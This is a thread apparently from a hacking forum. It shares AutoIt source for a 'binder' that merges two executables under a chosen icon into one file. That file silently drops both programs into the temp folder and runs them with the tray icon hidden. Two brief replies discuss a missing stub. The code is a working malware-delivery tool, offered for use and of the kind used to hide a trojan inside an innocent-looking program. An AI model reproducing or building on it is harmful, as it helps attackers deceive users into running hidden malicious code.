AutoIT Simple binder src. code

[DDoSer]

[HIDE-THANKS]

>#NoTrayIcon

Global $file1, $file2, $but1, $but2, $but3, $but4

$Gui = GUICreate("Glue", 300, 120, -1, -1, -1, 0x00000010)
$Input1 = GUICtrlCreateInput("Icon", 2, 35, 250, 15)
$Input2 = GUICtrlCreateInput("First exe", 2, 55, 250, 15)
$Input3 = GUICtrlCreateInput("Second exe", 2, 75, 250, 15)
$but1 = GUICtrlCreateButton ("...", 260, 55, 30, 15)
$but2 = GUICtrlCreateButton ("...", 260, 75, 30, 15)
$but4 = GUICtrlCreateButton ("...", 260, 35, 30, 15)
$but3 = GUICtrlCreateButton ("Bind", 2, 95, 295, 20)
$in = GUICtrlCreateLabel("Строка состояния", 2, 2, 150, 20)
GUISetState()
While 1
   $nMsg = GUIGetMsg()
   Switch $nMsg
   Case $but4
       $ICON = FileOpenDialog('Choose Icon file', '', 'Icon (*.ico)', '', '', GUICreate('', 563, 417))
       GUICtrlSetData ($Input1, $ICON)
   Case -3
       Exit
   Case $but1
           Ifile()
   Case $but2
           IIfile()
   Case $but3
       GUICtrlSetData ($in, "Binding...")
       FileWrite (@TempDir&"\Glued.au3", '#NoTrayIcon' & @CRLF)
       FileWrite (@TempDir&"\Glued.au3", 'FileDelete (@TempDir & "\Setup_1.exe")' & @CRLF)
       FileWrite (@TempDir&"\Glued.au3", 'FileDelete (@TempDir & "\Setup_2.exe")' & @CRLF)
       FileWrite (@TempDir&"\Glued.au3", 'FileInstall ('&'"'&$file1&'"'&', @TempDir&"\Setup_1.exe")' & @CRLF)
       FileWrite (@TempDir&"\Glued.au3", 'FileInstall ('&'"'&$file2&'"'&', @TempDir&"\Setup_2.exe")' & @CRLF)
       FileWrite (@TempDir&"\Glued.au3", 'Run (@TempDir&"\Setup_1.exe")' & @CRLF)
       FileWrite (@TempDir&"\Glued.au3", 'Run (@TempDir&"\Setup_2.exe")' & @CRLF)
       FileWrite (@TempDir&"\Glued.au3", 'Exit' & @CRLF)
       $AU3 = @TempDir & '\Glued.au3'
       $AUT2EXE = @ScriptDir & '\comp.exe'
       $EXE = @ScriptDir & '\Glued.exe'
       Run($AUT2EXE & ' /in ' & $AU3 & ' /out ' & $EXE & ' /icon ' & $ICON & ' /comp 0 /nopack')
       Sleep(3000)
       GUICtrlSetData ($in, "Binded!")
       FileDelete (@TempDir & "\Glued.au3")
   EndSwitch
WEnd

Func Ifile()
   $file1 = FileOpenDialog('Choose a first EXE file', '', 'Exe (*.exe)', '', '', GUICreate('', 563, 417))
   GUICtrlSetData ($Input2, $file1)
EndFunc

Func IIfile()
   $file2 = FileOpenDialog('Choose a second EXE file', '', 'Exe (*.exe)', '', '', GUICreate('', 563, 417))
   GUICtrlSetData ($Input3, $file2)
EndFunc

[/HIDE-THANKS]

 

[N900]

Re: Simple binder src. code

stub code looks to be missing.

 

[Scabtree]

Re: Simple binder src. code

stub code looks to be missing.

It's a binder. A simple one, as indicative of the title.